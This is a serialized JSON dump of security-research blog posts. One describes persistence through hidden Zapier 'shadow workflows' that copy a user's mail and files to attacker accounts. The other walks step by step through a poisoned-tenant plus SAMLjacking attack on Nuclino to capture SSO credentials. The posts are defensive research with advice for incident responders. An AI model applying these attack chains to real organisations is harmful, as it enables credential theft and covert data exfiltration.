integrations.",{"data":206237,"content":206238,"nodeType":1570},{},[206239],{"data":206240,"content":206241,"nodeType":866},{},[206242],{"data":206243,"marks":206244,"value":206245,"nodeType":865},{},[],"Any relevant logs will show access via legitimate IP addresses and OAuth integrations for SaaS automation apps ",{"data":206247,"content":206248,"nodeType":1570},{},[206249,206256],{"data":206250,"content":206251,"nodeType":866},{},[206252],{"data":206253,"marks":206254,"value":206255,"nodeType":865},{},[],"Automation apps are so flexible that an adversary can do pretty much anything - it’s basically the offensive PowerShell of the SaaS world. Just some examples:",{"data":206257,"content":206258,"nodeType":1616},{},[206259,206269,206279,206289],{"data":206260,"content":206261,"nodeType":1570},{},[206262],{"data":206263,"content":206264,"nodeType":866},{},[206265],{"data":206266,"marks":206267,"value":206268,"nodeType":865},{},[],"Monitor all emails and files the user creates",{"data":206270,"content":206271,"nodeType":1570},{},[206272],{"data":206273,"content":206274,"nodeType":866},{},[206275],{"data":206276,"marks":206277,"value":206278,"nodeType":865},{},[],"Delete email security alerts before the user sees them",{"data":206280,"content":206281,"nodeType":1570},{},[206282],{"data":206283,"content":206284,"nodeType":866},{},[206285],{"data":206286,"marks":206287,"value":206288,"nodeType":865},{},[],"Intercept password reset and passwordless login emails to access other apps",{"data":206290,"content":206291,"nodeType":1570},{},[206292],{"data":206293,"content":206294,"nodeType":866},{},[206295],{"data":206296,"marks":206297,"value":206298,"nodeType":865},{},[],"Monitor instant messaging apps and use it to send targeted internal social engineering emails",{"data":206300,"content":206301,"nodeType":1570},{},[206302],{"data":206303,"content":206304,"nodeType":866},{},[206305],{"data":206306,"marks":206307,"value":206308,"nodeType":865},{},[],"If targeted users are already using automation apps legitimately, it’s even more stealthy - you won’t even see any new integrations or permission grants appear as the user will have already granted these legitimately.",{"data":206310,"content":206311,"nodeType":1570},{},[206312],{"data":206313,"content":206314,"nodeType":866},{},[206315],{"data":206316,"marks":206317,"value":206318,"nodeType":865},{},[],"If admin consent has been granted to the automation app, any user can be targeted without generating new permission grant logs even if they have never used the app.",{"data":206320,"content":206321,"nodeType":981},{},[206322],{"data":206323,"marks":206324,"value":57175,"nodeType":865},{},[],{"data":206326,"content":206327,"nodeType":866},{},[206328],{"data":206329,"marks":206330,"value":206331,"nodeType":865},{},[],"We have seen how two new SaaS-focused attack techniques can be combined into one more effective attack chain - in this case, a particularly nasty and stealthy persistence technique. This shows how even if a user compromise is detected very early, with password and MFA resets immediately issued, adversaries can maintain control over the account regardless.",{"data":206333,"content":206334,"nodeType":866},{},[206335],{"data":206336,"marks":206337,"value":206338,"nodeType":865},{},[],"This shows how even legitimate SaaS applications have incredibly powerful offensive use cases and very careful attention needs to be paid to integrations with highly sensitive permissions, even when they are approved and vetted applications. Incident response teams especially need to be well aware of these techniques when investigating potential user account compromises as persistence approaches can extend much further than endpoint implants and stolen passwords.",{"entries":206340},{"inline":206341,"hyperlink":206342,"block":206346},[],[206343],{"sys":206344,"__typename":1429,"title":205507,"slug":206345},{"id":194180},"samljacking-a-poisoned-tenant",[206347,206354,206362,206369,206377,206385,206392,206400,206408,206416,206422,206430,206438,206446,206454,206461,206469],{"sys":206348,"__typename":1390,"title":206349,"caption":206350,"layoutMode":59,"file":206351},{"id":205708},"Azure audit logs","Azure audit logs showing a new user consent for a Zapier integration already in use by other users inside the organization",{"url":206352,"width":1402,"height":206353},"https://images.ctfassets.net/y1cdw1ablpvd/7KXqNa7LYhg9RpMODcCOUA/cf5cc3c63c3fb23bf4db4fc687c52fef/image11.png",188,{"sys":206355,"__typename":131392,"title":206356,"youTubeUrl":206357,"imagePlaceholder":206358},{"id":205833},"SaaS Attacks: Shadow workflows + Evil twin integration demo","https://youtu.be/g2EITjjJH1s",{"url":206359,"width":206360,"height":206361},"https://images.ctfassets.net/y1cdw1ablpvd/2XKFsSaDVmUREXzFIFvdgs/41ff444655d2f740bf4c637ebea0e998/Screenshot_2023-09-11_at_10.25.12_AM.png",2996,1616,{"sys":206363,"__typename":1390,"title":206364,"caption":206365,"layoutMode":59,"file":206366},{"id":205891},"Apps used in Microsoft","Listing apps installed for the user from myapps.microsoft.com ",{"url":206367,"width":84884,"height":206368},"https://images.ctfassets.net/y1cdw1ablpvd/66ISP7TGcsDns9BPvJEz0V/70b5da6883efde3122cabd3c0c1f1eab/image3.png",860,{"sys":206370,"__typename":1390,"title":206371,"caption":206372,"layoutMode":59,"file":206373},{"id":205897},"Zapier to do","Listing granted permissions for Zapier-related apps (1/2)",{"url":206374,"width":206375,"height":206376},"https://images.ctfassets.net/y1cdw1ablpvd/7lJRrtsR1GuWBGGk3d5FJ2/387c9f8f178e9a8c10e60f5b2ebf026b/image7.png",1108,546,{"sys":206378,"__typename":1390,"title":206379,"caption":206380,"layoutMode":59,"file":206381},{"id":205903},"Zapier-related app permissions","Listing granted permissions for Zapier-related apps (2/2)",{"url":206382,"width":206383,"height":206384},"https://images.ctfassets.net/y1cdw1ablpvd/9KWSW4Dyy0hfMCa8NzUsP/8bacb7994fd4668fc181c1d4ac190002/image8.png",1729,669,{"sys":206386,"__typename":1390,"title":206387,"caption":206388,"layoutMode":59,"file":206389},{"id":205930},"Finding a Zapier integration","Listing app role assignments and finding a Zapier integration",{"url":206390,"width":206391,"height":52364},"https://images.ctfassets.net/y1cdw1ablpvd/lkccBtCqQj594UJeRoStz/f4dd2c2deda29907c0e5ab3ed506b375/image4.png",774,{"sys":206393,"__typename":1390,"title":206394,"caption":206395,"layoutMode":59,"file":206396},{"id":205936},"Zapier integration OAuth permissions","Listing OAuth permission grants for the Zapier integration to confirm permissions",{"url":206397,"width":206398,"height":206399},"https://images.ctfassets.net/y1cdw1ablpvd/4eZco97TV404HaHoAnYGSA/04e5e66ae37fa8ee52418d5533437386/image15.png",1219,395,{"sys":206401,"__typename":1390,"title":206402,"caption":206403,"layoutMode":59,"file":206404},{"id":205977},"Zapier login via SSO","Login to Zapier via SSO or social login",{"url":206405,"width":206406,"height":206407},"https://images.ctfassets.net/y1cdw1ablpvd/57LigpMizflfTbTcfrcRwM/e81063c2a092be712cc180f1af1ee909/image10.png",1244,736,{"sys":206409,"__typename":1390,"title":206410,"caption":206411,"layoutMode":59,"file":206412},{"id":206029},"User's Zapier workflows","The user’s existing workflows, or “Zaps” in Zapier terminology",{"url":206413,"width":206414,"height":206415},"https://images.ctfassets.net/y1cdw1ablpvd/1HD2bnkcnGnc5YQAHHrvIa/08b1a537a9f63d0fb600d837eee1df25/image14.png",1426,382,{"sys":206417,"__typename":1390,"title":206418,"caption":206419,"layoutMode":59,"file":206420},{"id":206035},"Zapier integrations","The user’s connected apps, showing Outlook and OneDrive have already been integrated",{"url":206421,"width":206383,"height":203066},"https://images.ctfassets.net/y1cdw1ablpvd/4RII43nqlcqFT4E7QuGOGT/ef85aa394465906185bc52985f4b28e8/image2.png",{"sys":206423,"__typename":1390,"title":206424,"caption":206425,"layoutMode":59,"file":206426},{"id":206092},"Connecting our accounts","We have connected the user’s Outlook and OneDrive, as well as our own Gmail and Google Drive for exfiltration",{"url":206427,"width":206428,"height":206429},"https://images.ctfassets.net/y1cdw1ablpvd/7gmTTPtcrhbPDrQD1BId55/26c7fd0a5d1391bd5ec627c73af587db/image16.png",854,419,{"sys":206431,"__typename":1390,"title":206432,"caption":206433,"layoutMode":59,"file":206434},{"id":206098},"Our shadow workflows","Shadow workflows we have created to monitor the target user’s emails and files",{"url":206435,"width":206436,"height":206437},"https://images.ctfassets.net/y1cdw1ablpvd/ggCqvwRtNLcvBVqvZMEF0/a9b0b60c80c835f6dca01c1fc408df08/image12.png",1260,444,{"sys":206439,"__typename":1390,"title":206440,"caption":206441,"layoutMode":59,"file":206442},{"id":206136},"New sign-in events"," Interactive sign-in events caused by the new integrations with the new Zapier account",{"url":206443,"width":206444,"height":206445},"https://images.ctfassets.net/y1cdw1ablpvd/3W6qH6wxjm7fRRjuMeYtRD/779265dba840306f2002132abd24c060/image6.png",1256,148,{"sys":206447,"__typename":1390,"title":206448,"caption":206449,"layoutMode":59,"file":206450},{"id":206149},"What's shown in audit logs","Audit log showing the Zapier integration downloading a file - this is a result of the shadow workflow",{"url":206451,"width":206452,"height":206453},"https://images.ctfassets.net/y1cdw1ablpvd/ew0JDU7oER8cLZUxmyySV/cb39ead350b0704ac78b05c7c5445503/image9.png",569,535,{"sys":206455,"__typename":1390,"title":206456,"caption":206457,"layoutMode":59,"file":206458},{"id":206155},"Audit log showing file upload","Audit log showing the Zapier integration uploading a file - this is the result of the legitimate integration that forwards business expense emails",{"url":206459,"width":206452,"height":206460},"https://images.ctfassets.net/y1cdw1ablpvd/7uv04lFua20rYKyE9VsOv/a2893b9c5540e55732eb9acb62b79b0e/image5.png",609,{"sys":206462,"__typename":1390,"title":206463,"caption":206464,"layoutMode":59,"file":206465},{"id":206182},"Leaked doc in attacker's GDrive","Confidential document from OneDrive appears in Google Drive",{"url":206466,"width":206467,"height":206468},"https://images.ctfassets.net/y1cdw1ablpvd/5jwmXBmrQgA0fmHYn9CK4g/63a689ef0014f15f4cac05d47950e151/image13.png",1319,277,{"sys":206470,"__typename":1390,"title":206471,"caption":206472,"layoutMode":59,"file":206473},{"id":206188},"Leaked email to attacker's inbox","Confidential email from Outlook appears in GMail",{"url":206474,"width":206475,"height":206476},"https://images.ctfassets.net/y1cdw1ablpvd/7buoz26rTelsWCvn9H8eUq/af55d1b900b715e943b891535efac456/image1.png",1101,271,{"items":206478},[],{},"SaaS attack matrix: The shadow workflow’s evil twin","2023-09-11T00:00:00.000Z",{"items":206483},[206484,206950,207625],{"__typename":1429,"sys":206485,"content":206486,"title":205507,"synopsis":206938,"hashTags":59,"publishedDate":206939,"slug":206345,"tagsCollection":206940,"authorsCollection":206946},{"id":194180},{"json":206487},{"data":206488,"content":206489,"nodeType":1382},{},[206490,206508,206515,206522,206529,206547,206554,206571,206577,206584,206591,206598,206605,206612,206619,206639,206646,206653,206659,206666,206673,206680,206686,206692,206698,206705,206712,206718,206725,206732,206739,206745,206752,206759,206766,206773,206780,206786,206793,206800,206806,206813,206820,206826,206832,206839,206904,206911,206917,206924,206931],{"data":206491,"content":206492,"nodeType":866},{},[206493,206497,206504],{"data":206494,"marks":206495,"value":206496,"nodeType":865},{},[],"We published the ",{"data":206498,"content":206499,"nodeType":889},{"uri":13171},[206500],{"data":206501,"marks":206502,"value":12528,"nodeType":865},{},[206503],{"type":943},{"data":206505,"marks":206506,"value":206507,"nodeType":865},{},[]," on GitHub, which is an open-source research project to demonstrate the multitude of attacks that are possible against SaaS-native and hybrid SaaS organizations. On release day it contained 38 different techniques. ",{"data":206509,"content":206510,"nodeType":866},{},[206511],{"data":206512,"marks":206513,"value":206514,"nodeType":865},{},[],"However, we know it’s not just individual attack techniques and the phases of the cyber kill chain that matter - it’s also how you chain attacks together. Two lower risk vulnerabilities chained together could be a critical issue.",{"data":206516,"content":206517,"nodeType":866},{},[206518],{"data":206519,"marks":206520,"value":206521,"nodeType":865},{},[],"In this article, we’re going to demonstrate that by combining two of our favorite new SaaS attack techniques, poisoned tenants and SAMLjacking, you can make a simple, but effective attack chain.",{"data":206523,"content":206524,"nodeType":981},{},[206525],{"data":206526,"marks":206527,"value":206528,"nodeType":865},{},[],"What is a poisoned tenant?",{"data":206530,"content":206531,"nodeType":866},{},[206532,206535,206543],{"data":206533,"marks":206534,"value":21,"nodeType":865},{},[],{"data":206536,"content":206537,"nodeType":889},{"uri":178032},[206538],{"data":206539,"marks":206540,"value":206542,"nodeType":865},{},[206541],{"type":943},"Poisoned tenants",{"data":206544,"marks":206545,"value":206546,"nodeType":865},{},[]," involve an adversary registering a tenant for a SaaS app they control and tricking target users to join it, often using built-in invite functionality. The end goal is to have some target users actively using a tenant you (as the adversary) control.",{"data":206548,"content":206549,"nodeType":981},{},[206550],{"data":206551,"marks":206552,"value":206553,"nodeType":865},{},[],"What the hell is SAMLjacking?",{"data":206555,"content":206556,"nodeType":866},{},[206557,206560,206567],{"data":206558,"marks":206559,"value":21,"nodeType":865},{},[],{"data":206561,"content":206562,"nodeType":889},{"uri":105869},[206563],{"data":206564,"marks":206565,"value":105875,"nodeType":865},{},[206566],{"type":943},{"data":206568,"marks":206569,"value":206570,"nodeType":865},{},[]," is where an attacker makes use of SAML SSO configuration settings for a SaaS tenant they control in order to redirect users to a malicious link of their choosing during the authentication process. This can be highly effective for phishing as the original URL will be a legitimate SaaS URL and users are expecting to provide credentials.",{"data":206572,"content":206573,"nodeType":981},{},[206574],{"data":206575,"marks":206576,"value":205598,"nodeType":865},{},[],{"data":206578,"content":206579,"nodeType":866},{},[206580],{"data":206581,"marks":206582,"value":206583,"nodeType":865},{},[],"A poisoned tenant on its own could be an epic supply chain attack if you get really lucky. Imagine discovering an organization was wanting to migrate to Slack and then catching some key teams with a Slack poisoned tenant and gradually getting the whole organization migrated over. You’d have a goldmine of information as an administrator of the platform.",{"data":206585,"content":206586,"nodeType":866},{},[206587],{"data":206588,"marks":206589,"value":206590,"nodeType":865},{},[],"However, it might be hard to trick a whole organization into using an attacker controlled slack instance without anyone realizing, but it could be a lot easier to successfully invite e.g. a marketing team into using/adopting a new marketing app that helps them do SEO. This might be easier to perform, but it doesn't really give the attacker valuable data in the poisoned tenant of the marketing app, so it seems a bit pointless.",{"data":206592,"content":206593,"nodeType":866},{},[206594],{"data":206595,"marks":206596,"value":206597,"nodeType":865},{},[],"On the other hand, what about SAMLjacking? It’s a great technique on its own, but you still need to get users to login to the app. Sure, you’ll be sending them a legitimate SaaS URL with a valid TLS certificate etc and so it’s going to pass the sniff test for many people and also bypass email security appliances and similar security tools. However, you’re still effectively phishing them for credentials, the one thing we train users to be most suspicious about, so there is still a possibility they will spot the attack. ",{"data":206599,"content":206600,"nodeType":866},{},[206601],{"data":206602,"marks":206603,"value":206604,"nodeType":865},{},[],"But what if you could combine these techniques so that a poisoned tenant didn’t need to be a big, juicy target to be useful and a SAMLjacking attack didn’t even necessarily require phishing someone directly? What if the attack could be successful just from a target accessing their own bookmarks or open tabs for an app they already use?",{"data":206606,"content":206607,"nodeType":866},{},[206608],{"data":206609,"marks":206610,"value":206611,"nodeType":865},{},[],"In a combination scenario, a user doesn't need to be phished for SAMLjacking. One day they go back to their tab and it's logged out and they get SAMLjacked while logging back in. They don't have to click a link in an email. That’s what we are talking about here, so let’s consider an example of this making use of the SaaS-based wiki, Nuclino.",{"data":206613,"content":206614,"nodeType":981},{},[206615],{"data":206616,"marks":206617,"value":206618,"nodeType":865},{},[],"An example attack - Nuclino",{"data":206620,"content":206621,"nodeType":866},{},[206622,206626,206635],{"data":206623,"marks":206624,"value":206625,"nodeType":865},{},[],"Before moving on, I’d just like to point out that this isn’t a vulnerability with ",{"data":206627,"content":206629,"nodeType":889},{"uri":206628},"https://www.nuclino.com/",[206630],{"data":206631,"marks":206632,"value":206634,"nodeType":865},{},[206633],{"type":943},"Nuclino",{"data":206636,"marks":206637,"value":206638,"nodeType":865},{},[]," per se and it won’t be limited to Nuclino either. I’ve used Nuclino as an example because it’s a great wiki platform we use at Push Security, so I’m familiar with it. ",{"data":206640,"content":206641,"nodeType":866},{},[206642],{"data":206643,"marks":206644,"value":206645,"nodeType":865},{},[],"It also allows custom SAML authentication, both as part of its free trial and as part of its lowest tier paid plan. This should be commended as many SaaS apps don’t support SAML or other forms of SSO, and many of those that do charge a huge premium via enterprise plans to gain access to it. We love you Nuclino, sorry!",{"data":206647,"content":206648,"nodeType":866},{},[206649],{"data":206650,"marks":206651,"value":206652,"nodeType":865},{},[],"We'll take a walkthrough of how the attack chain works now. However, if you'd like to jump straight to a demo of the attack then checkout the video here:",{"data":206654,"content":206658,"nodeType":912},{"target":206655},{"sys":206656},{"id":206657,"type":909,"linkType":910},"3y6ZMPPsbh6PYlQ7IOxOzS",[],{"data":206660,"content":206661,"nodeType":866},{},[206662],{"data":206663,"marks":206664,"value":206665,"nodeType":865},{},[],"Next, we'll do a full walkthrough of the attack.",{"data":206667,"content":206668,"nodeType":1317},{},[206669],{"data":206670,"marks":206671,"value":206672,"nodeType":865},{},[],"Step 1 - Setup a poisoned tenant and invite target users",{"data":206674,"content":206675,"nodeType":866},{},[206676],{"data":206677,"marks":206678,"value":206679,"nodeType":865},{},[],"The first step for an adversary is to set up their poisoned tenant and then make use of the invite functionality to target some employees of the target organization. With Nuclino, you can either do this by sending sharing links directly to the target or invite them through the Nuclino app, and it will send out legit email invitations on your behalf.",{"data":206681,"content":206685,"nodeType":912},{"target":206682},{"sys":206683},{"id":206684,"type":909,"linkType":910},"740nQhGSFp2nFU1b4DP7Mp",[],{"data":206687,"content":206691,"nodeType":912},{"target":206688},{"sys":206689},{"id":206690,"type":909,"linkType":910},"4GFL1L7Mmp3nnBODwC9SbH",[],{"data":206693,"content":206697,"nodeType":912},{"target":206694},{"sys":206695},{"id":206696,"type":909,"linkType":910},"7KUWKFFlDyvBVoM3MEhPwR",[],{"data":206699,"content":206700,"nodeType":1317},{},[206701],{"data":206702,"marks":206703,"value":206704,"nodeType":865},{},[],"Step 2 - Target responds to the invitation or later signs up for Nuclino",{"data":206706,"content":206707,"nodeType":866},{},[206708],{"data":206709,"marks":206710,"value":206711,"nodeType":865},{},[],"The interesting thing here is that whether the target signs up for Nuclino directly from the joining link or they sign up for an account separately in future, they get mapped to the workspace they have been invited to by default.",{"data":206713,"content":206717,"nodeType":912},{"target":206714},{"sys":206715},{"id":206716,"type":909,"linkType":910},"2GlTHcT1cpQ44jb5lN9dr4",[],{"data":206719,"content":206720,"nodeType":1317},{},[206721],{"data":206722,"marks":206723,"value":206724,"nodeType":865},{},[],"Step 3 - Configure a malicious SAML server",{"data":206726,"content":206727,"nodeType":866},{},[206728],{"data":206729,"marks":206730,"value":206731,"nodeType":865},{},[],"Once the adversary has a critical mass of users on their poisoned tenant, they can later engage the SAMLjacking attack. ",{"data":206733,"content":206734,"nodeType":866},{},[206735],{"data":206736,"marks":206737,"value":206738,"nodeType":865},{},[],"To do this, they need to configure a custom SAML server. You can point this to a fake authentication provider they control that mirrors the appearance of the SSO provider the target users are accustomed to using in order to capture credentials.",{"data":206740,"content":206744,"nodeType":912},{"target":206741},{"sys":206742},{"id":206743,"type":909,"linkType":910},"1RbhUTZd5Ak4UvjiZhub4V",[],{"data":206746,"content":206747,"nodeType":866},{},[206748],{"data":206749,"marks":206750,"value":206751,"nodeType":865},{},[],"If you toggle the setting to require SSO, existing users will be sent emails prompting them to link their accounts to SSO. That leads to two possible paths to a user compromise.",{"data":206753,"content":206754,"nodeType":981},{},[206755],{"data":206756,"marks":206757,"value":206758,"nodeType":865},{},[],"Paths to user compromise ",{"data":206760,"content":206761,"nodeType":1317},{},[206762],{"data":206763,"marks":206764,"value":206765,"nodeType":865},{},[],"The first possibility",{"data":206767,"content":206768,"nodeType":866},{},[206769],{"data":206770,"marks":206771,"value":206772,"nodeType":865},{},[],"This compromise occurs when the target sees the email that SSO has been configured and clicks the link in order to link their account to SSO. A smart adversary may improve the social engineering quality with an email sent out in advance informing users that the internal security team has requested Nuclino be linked to SSO. This makes the target expect the email and consider it legitimate. ",{"data":206774,"content":206775,"nodeType":866},{},[206776],{"data":206777,"marks":206778,"value":206779,"nodeType":865},{},[],"Even though the email is an official email from Nuclino and the link contained is an official Nuclino URL, it will immediately redirect to the malicious SAML server that has been configured, where credentials can then be captured.",{"data":206781,"content":206785,"nodeType":912},{"target":206782},{"sys":206783},{"id":206784,"type":909,"linkType":910},"6zWiAfBx7aaUeo6t04AtUl",[],{"data":206787,"content":206788,"nodeType":1317},{},[206789],{"data":206790,"marks":206791,"value":206792,"nodeType":865},{},[],"Second compromise possibility",{"data":206794,"content":206795,"nodeType":866},{},[206796],{"data":206797,"marks":206798,"value":206799,"nodeType":865},{},[],"If the user ignores the email, the other potential outcome occurs when their session expires and they need to login again to regain access. This is similar to a watering hole attack. When their session expires, the target’s open tabs or bookmarks will redirect back to the workspace specific login page, which will now look like this:",{"data":206801,"content":206805,"nodeType":912},{"target":206802},{"sys":206803},{"id":206804,"type":909,"linkType":910},"580CvVtdyEpqdiK8T1lSfQ",[],{"data":206807,"content":206808,"nodeType":866},{},[206809],{"data":206810,"marks":206811,"value":206812,"nodeType":865},{},[],"Clicking the button to login with SSO will immediately redirect to the malicious SAML server and launch the attack. Alternatively, if the target attempts to login without SSO, the login will fail with an error message telling them to login with SSO.",{"data":206814,"content":206815,"nodeType":866},{},[206816],{"data":206817,"marks":206818,"value":206819,"nodeType":865},{},[],"Either way, once the SAMLjacking has taken effect, they’ll be faced with a familiar-looking SSO login page from a trusted source at a point they are expecting to enter their credentials - something even the most paranoid of users could easily fall for unknowingly. ",{"data":206821,"content":206825,"nodeType":912},{"target":206822},{"sys":206823},{"id":206824,"type":909,"linkType":910},"5eFctGgFywtmhhjaXVraqN",[],{"data":206827,"content":206828,"nodeType":981},{},[206829],{"data":206830,"marks":206831,"value":41284,"nodeType":865},{},[],{"data":206833,"content":206834,"nodeType":866},{},[206835],{"data":206836,"marks":206837,"value":206838,"nodeType":865},{},[],"At this point, having compromised multiple user’s Google credentials, an adversary has a lot of options available:",{"data":206840,"content":206841,"nodeType":1616},{},[206842,206852,206862,206884],{"data":206843,"content":206844,"nodeType":1570},{},[206845],{"data":206846,"content":206847,"nodeType":866},{},[206848],{"data":206849,"marks":206850,"value":206851,"nodeType":865},{},[],"Access all data in Google apps like GMail, Google Drive etc",{"data":206853,"content":206854,"nodeType":1570},{},[206855],{"data":206856,"content":206857,"nodeType":866},{},[206858],{"data":206859,"marks":206860,"value":206861,"nodeType":865},{},[],"Access other SaaS apps that use SSO with the same Google account",{"data":206863,"content":206864,"nodeType":1570},{},[206865],{"data":206866,"content":206867,"nodeType":866},{},[206868,206872,206881],{"data":206869,"marks":206870,"value":206871,"nodeType":865},{},[],"Access other SaaS apps that use ",{"data":206873,"content":206875,"nodeType":889},{"uri":206874},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/passwordless_logins/description.md",[206876],{"data":206877,"marks":206878,"value":206880,"nodeType":865},{},[206879],{"type":943},"passwordless logins",{"data":206882,"marks":206883,"value":21,"nodeType":865},{},[],{"data":206885,"content":206886,"nodeType":1570},{},[206887],{"data":206888,"content":206889,"nodeType":866},{},[206890,206894,206901],{"data":206891,"marks":206892,"value":206893,"nodeType":865},{},[],"Access other SaaS apps via email ",{"data":206895,"content":206896,"nodeType":889},{"uri":205988},[206897],{"data":206898,"marks":206899,"value":205994,"nodeType":865},{},[206900],{"type":943},{"data":206902,"marks":206903,"value":21,"nodeType":865},{},[],{"data":206905,"content":206906,"nodeType":866},{},[206907],{"data":206908,"marks":206909,"value":206910,"nodeType":865},{},[],"Essentially, this can potentially lead to a compromise of every SaaS application accessible by the compromised user - all from the use of a poisoned tenant for an app with no particularly sensitive data or permissions.",{"data":206912,"content":206913,"nodeType":1317},{},[206914],{"data":206915,"marks":206916,"value":57175,"nodeType":865},{},[],{"data":206918,"content":206919,"nodeType":866},{},[206920],{"data":206921,"marks":206922,"value":206923,"nodeType":865},{},[],"We have seen how two new SaaS-focused attack techniques can be combined into one more effective attack chain. This shows how a successful poisoned tenant attack for even a low risk app can still be a significant threat when combined with a SAMLjacking attack. ",{"data":206925,"content":206926,"nodeType":866},{},[206927],{"data":206928,"marks":206929,"value":206930,"nodeType":865},{},[],"This demonstrates even the least sensitive edge cases of SaaS sprawl can represent a vector to laterally move to compromise much more valuable assets. History taught us that protecting core production assets was not enough. Adversaries often achieved compromises via test systems and unsecured development resources. What we are seeing now is that this parallel exists in the SaaS-native world too. Therefore, we need to be protecting all SaaS resources with greater vigilance than their standalone sensitivity would indicate.",{"data":206932,"content":206933,"nodeType":866},{},[206934],{"data":206935,"marks":206936,"value":206937,"nodeType":865},{},[],"So what can be done about it? Well, like much in security, there is no silver bullet solution to this issue. SaaS apps are here to stay and are designed to be flexible, easy to sign up for and use. The key first step is always to get good visibility into the SaaS sprawl across your organization. If certain employees or teams start making use of a new SaaS app (or a new tenant for an existing one), that’s probably something your security team should be aware of so they can make sure it’s legitimate and being used as securely as possible. ","In this article, we’re going to demo combining two of our favorite new SaaS attack techniques to make a simple, but effective attack chain.\n","2023-08-17T00:00:00.000Z",{"items":206941},[206942,206944],{"sys":206943,"name":7796},{"id":7795},{"sys":206945,"name":342},{"id":4642},{"items":206947},[206948],{"fullName":11421,"firstName":11422,"jobTitle":11423,"profilePicture":206949},{"url":11425},{"__typename":1429,"sys":206951,"content":206952,"title":178628,"synopsis":178629,"hashTags":59,"publishedDate":178630,"slug":178631,"tagsCollection":207615,"authorsCollection":207621},{"id":177849},{"json":206953},{"data":206954,"content":206955,"nodeType":1382},{},[206956,206962,206968,206974,206980,206986,206992,206997,207013,207019,207055,207061,207067,207103,207119,207125,207131,207137,207153,207169,207175,207205,207211,207227,207233,207239,207265,207281,207287,207292,207298,207304,207310,207316,207322,207328,207334,207340,207346,207352,207358,207364,207377,207383,207439,207445,207451,207474,207487,207493,207499,207505,207531,207548,207554,207560,207566,207572,207588,207604,207609],{"data":206957,"content":206958,"nodeType":866},{},[206959],{"data":206960,"marks":206961,"value":177860,"nodeType":865},{},[],{"data":206963,"content":206964,"nodeType":866},{},[206965],{"data":206966,"marks":206967,"value":177867,"nodeType":865},{},[],{"data":206969,"content":206970,"nodeType":866},{},[206971],{"data":206972,"marks":206973,"value":177874,"nodeType":865},{},[],{"data":206975,"content":206976,"nodeType":866},{},[206977],{"data":206978,"marks":206979,"value":177881,"nodeType":865},{},[],{"data":206981,"content":206982,"nodeType":981},{},[206983],{"data":206984,"marks":206985,"value":177888,"nodeType":865},{},[],{"data":206987,"content":206988,"nodeType":866},{},[206989],{"data":206990,"marks":206991,"value":177895,"nodeType":865},{},[],{"data":206993,"content":206996,"nodeType":912},{"target":206994},{"sys":206995},{"id":177900,"type":909,"linkType":910},[],{"data":206998,"content":206999,"nodeType":866},{},[207000,207003,207010],{"data":207001,"marks":207002,"value":177908,"nodeType":865},{},[],{"data":207004,"content":207005,"nodeType":889},{"uri":13171},[207006],{"data":207007,"marks":207008,"value":11198,"nodeType":865},{},[207009],{"type":943},{"data":207011,"marks":207012,"value":1615,"nodeType":865},{},[],{"data":207014,"content":207015,"nodeType":866},{},[207016],{"data":207017,"marks":207018,"value":177925,"nodeType":865},{},[],{"data":207020,"content":207021,"nodeType":866},{},[207022,207025,207032,207035,207042,207045,207052],{"data":207023,"marks":207024,"value":177932,"nodeType":865},{},[],{"data":207026,"content":207027,"nodeType":889},{"uri":134372},[207028],{"data":207029,"marks":207030,"value":177940,"nodeType":865},{},[207031],{"type":943},{"data":207033,"marks":207034,"value":4988,"nodeType":865},{},[],{"data":207036,"content":207037,"nodeType":889},{"uri":177946},[207038],{"data":207039,"marks":207040,"value":177952,"nodeType":865},{},[207041],{"type":943},{"data":207043,"marks":207044,"value":177956,"nodeType":865},{},[],{"data":207046,"content":207047,"nodeType":889},{"uri":169808},[207048],{"data":207049,"marks":207050,"value":177964,"nodeType":865},{},[207051],{"type":943},{"data":207053,"marks":207054,"value":177968,"nodeType":865},{},[],{"data":207056,"content":207057,"nodeType":866},{},[207058],{"data":207059,"marks":207060,"value":177975,"nodeType":865},{},[],{"data":207062,"content":207063,"nodeType":1317},{},[207064],{"data":207065,"marks":207066,"value":177982,"nodeType":865},{},[],{"data":207068,"content":207069,"nodeType":866},{},[207070,207073,207080,207083,207090,207093,207100],{"data":207071,"marks":207072,"value":177989,"nodeType":865},{},[],{"data":207074,"content":207075,"nodeType":889},{"uri":169182},[207076],{"data":207077,"marks":207078,"value":169188,"nodeType":865},{},[207079],{"type":943},{"data":207081,"marks":207082,"value":4988,"nodeType":865},{},[],{"data":207084,"content":207085,"nodeType":889},{"uri":169194},[207086],{"data":207087,"marks":207088,"value":169199,"nodeType":865},{},[207089],{"type":943},{"data":207091,"marks":207092,"value":178010,"nodeType":865},{},[],{"data":207094,"content":207095,"nodeType":889},{"uri":169856},[207096],{"data":207097,"marks":207098,"value":178018,"nodeType":865},{},[207099],{"type":943},{"data":207101,"marks":207102,"value":178022,"nodeType":865},{},[],{"data":207104,"content":207105,"nodeType":866},{},[207106,207109,207116],{"data":207107,"marks":207108,"value":178029,"nodeType":865},{},[],{"data":207110,"content":207111,"nodeType":889},{"uri":178032},[207112],{"data":207113,"marks":207114,"value":178038,"nodeType":865},{},[207115],{"type":943},{"data":207117,"marks":207118,"value":178042,"nodeType":865},{},[],{"data":207120,"content":207121,"nodeType":866},{},[207122],{"data":207123,"marks":207124,"value":178049,"nodeType":865},{},[],{"data":207126,"content":207127,"nodeType":866},{},[207128],{"data":207129,"marks":207130,"value":178056,"nodeType":865},{},[],{"data":207132,"content":207133,"nodeType":1317},{},[207134],{"data":207135,"marks":207136,"value":178063,"nodeType":865},{},[],{"data":207138,"content":207139,"nodeType":866},{},[207140,207143,207150],{"data":207141,"marks":207142,"value":178070,"nodeType":865},{},[],{"data":207144,"content":207145,"nodeType":889},{"uri":178073},[207146],{"data":207147,"marks":207148,"value":178079,"nodeType":865},{},[207149],{"type":943},{"data":207151,"marks":207152,"value":178083,"nodeType":865},{},[],{"data":207154,"content":207155,"nodeType":866},{},[207156,207159,207166],{"data":207157,"marks":207158,"value":178090,"nodeType":865},{},[],{"data":207160,"content":207161,"nodeType":889},{"uri":145802},[207162],{"data":207163,"marks":207164,"value":145808,"nodeType":865},{},[207165],{"type":943},{"data":207167,"marks":207168,"value":178101,"nodeType":865},{},[],{"data":207170,"content":207171,"nodeType":866},{},[207172],{"data":207173,"marks":207174,"value":178108,"nodeType":865},{},[],{"data":207176,"content":207177,"nodeType":1616},{},[207178,207187,207196],{"data":207179,"content":207180,"nodeType":1570},{},[207181],{"data":207182,"content":207183,"nodeType":866},{},[207184],{"data":207185,"marks":207186,"value":178121,"